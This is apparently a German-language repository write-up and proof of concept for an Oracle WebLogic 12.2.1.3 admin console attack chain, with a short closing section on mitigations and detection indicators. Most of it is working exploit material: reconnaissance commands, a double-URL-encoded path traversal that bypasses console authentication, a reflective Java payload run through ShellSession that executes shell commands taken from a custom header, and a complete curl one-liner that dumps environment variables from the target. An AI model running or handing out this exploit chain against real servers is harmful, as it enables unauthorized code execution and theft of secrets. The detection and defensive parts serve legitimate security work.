
Technische Analyse und sauberes Java Thread Echo PoC für die Oracle WebLogic Server Schwachstellenkette.
Das Repository enthält einen technischen Bericht (Write-up) und einen konzeptionellen Proof of Concept (PoC) zur Demonstration der Angriffskette aus Authentifizierungs-Bypass (Authentication Bypass) und Remote Code Execution (RCE) in der Verwaltungskonsole von Oracle WebLogic Server.
🛑 WARNUNG & HAFTUNGSAUSSCHLUSS: Dieses Material wurde ausschließlich für Bildungszwecke und für legitime Sicherheitsaudits (Pentest) erstellt. Die Verwendung der beschriebenen Techniken gegen Systeme ohne vorherige schriftliche Zustimmung der Eigentümer ist gesetzlich verboten.
12.2.1.3nmap, curl, bashZur Bestimmung der Angriffsfläche wurde ein gezielter Scan der Standard-Ports von Webdiensten und der Verwaltungsports von Java-Anwendungen durchgeführt:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
Kontrollierte Terminalausgabe:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3. Die Aktivierung des T3-Protokolls deutet ebenfalls auf alternative Vektoren hin, aber für diese Untersuchung wurde die HTTP-Weboberfläche der Konsole gewählt.Die Analyse der Pfadstruktur zeigte, dass der Webserver Verzeichnis-Wechselsequenzen bei doppelter URL-Kodierung fehlerhaft verarbeitet. Die Ressource /console/css/ ist für statische Inhalte offen. Wir konstruieren eine Anfrage für den Zugriff auf das geschützte Portal:
/console/css/%252e%252e%252fconsole.portalWir prüfen die Erreichbarkeit und das Verhalten des Servers (wir erwarten den Status 200 OK statt 403 Forbidden oder 302 Redirect auf die Login-Seite):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
Antwort des Servers:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
Durch die Kombination des Authentifizierungs-Bypasses mit dem Aufruf des Session-Handlers com.tangosol.coherence.mvel2.sh.ShellSession erhalten wir die Möglichkeit, beliebigen Java-Code auszuführen.
Die gewöhnliche Ausführung von Befehlen über java.lang.Runtime ist „blind“ (Blind RCE). Um die Technik des Command Echo (Rückgabe der Terminalausgabe direkt im HTTP-Response-Body) zu realisieren, wurde ein spezieller reflektiver Java-Payload entwickelt.
// 1. Aktuellen Working-Thread der WebLogic-Ausführung abfangen
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Internen Verbindungs-Handler über die Reflection API extrahieren
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Zugriff auf die Request- und Response-Objekte der aktuellen Session erhalten
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Benutzerdefinierten HTTP-Header lesen, der vom Angreifer gesendet wurde
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Betriebssystem des Zielsystems ermitteln, um die Shell korrekt aufzurufen
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Systembefehl ausführen und den Input Stream auslesen
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Ergebnis erzwungenermaßen zurück in den HTTP-Ausgabestream des Webservers schreiben
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Thread unterbrechen, um das HTTP-Paket sofort an den Client zu senden
executeThread.interrupt();
Zur Automatisierung des Sendens des Java-Kontexts stellen wir den finalen curl-Befehl zusammen. Wir übergeben den Payload im POST-Parameter handle und den gewünschten Befehl im benutzerdefinierten Header X-CMD-HEADER: env.
Dieser Ansatz schützt die Daten vor Verfälschung durch den lokalen Bash-Kommandozeilen-Interpreter auf Seiten des Forschers.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
Reale verifizierte Ausgabe (Dump der Umgebungsvariablen):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) am Ende des Logs bestätigt den Erfolg der Ausnutzung. Er wird durch die Anweisung executeThread.interrupt() verursacht, die die TCP-Sitzung sofort nach dem Senden des Puffers mit den Ergebnissen des env-Befehls an den Client erzwingend abbricht.7001, /console) vom externen Perimeter (Zugriff nur über internes VPN/Mikrosegmentierung).%252e) in Kombination mit spezifischen Java-Klassenaufrufen enthalten.Für Spezialisten der Sicherheitsüberwachung (SOC/Blue Team) hinterlässt die erfolgreiche Ausnutzung dieser Angriffskette deutliche Spuren in der Infrastruktur.
In den Webserver-Logs von WebLogic (normalerweise in access.log) ist ein Angriffsmarker das Vorhandensein doppelter URL-Kodierung von Punkten und Schrägstrichen in Kombination mit dem Zugriff auf das Verwaltungsportal über statische Verzeichnisse:
.. in kodierter Form: %252e%252e%252f oder %252e%252e%252F innerhalb der URI."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
Wenn auf dem Server eine Prozessüberwachung eingerichtet ist (z. B. Auditd unter Linux oder Sysmon unter Windows), ist ein Indikator für Remote Code Execution ein anomales Verhalten des übergeordneten Java-Prozesses:
/bin/sh, /bin/bash oder cmd.exe) tritt der Java-Arbeitsprozess auf, unter dem der Anwendungsserver läuft:
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER oder X-Forwarded-Cmd) im Traffic oder in WAF-Logs, die vom Angreifer zur Übertragung der Nutzlast (Command Echo) verwendet werden.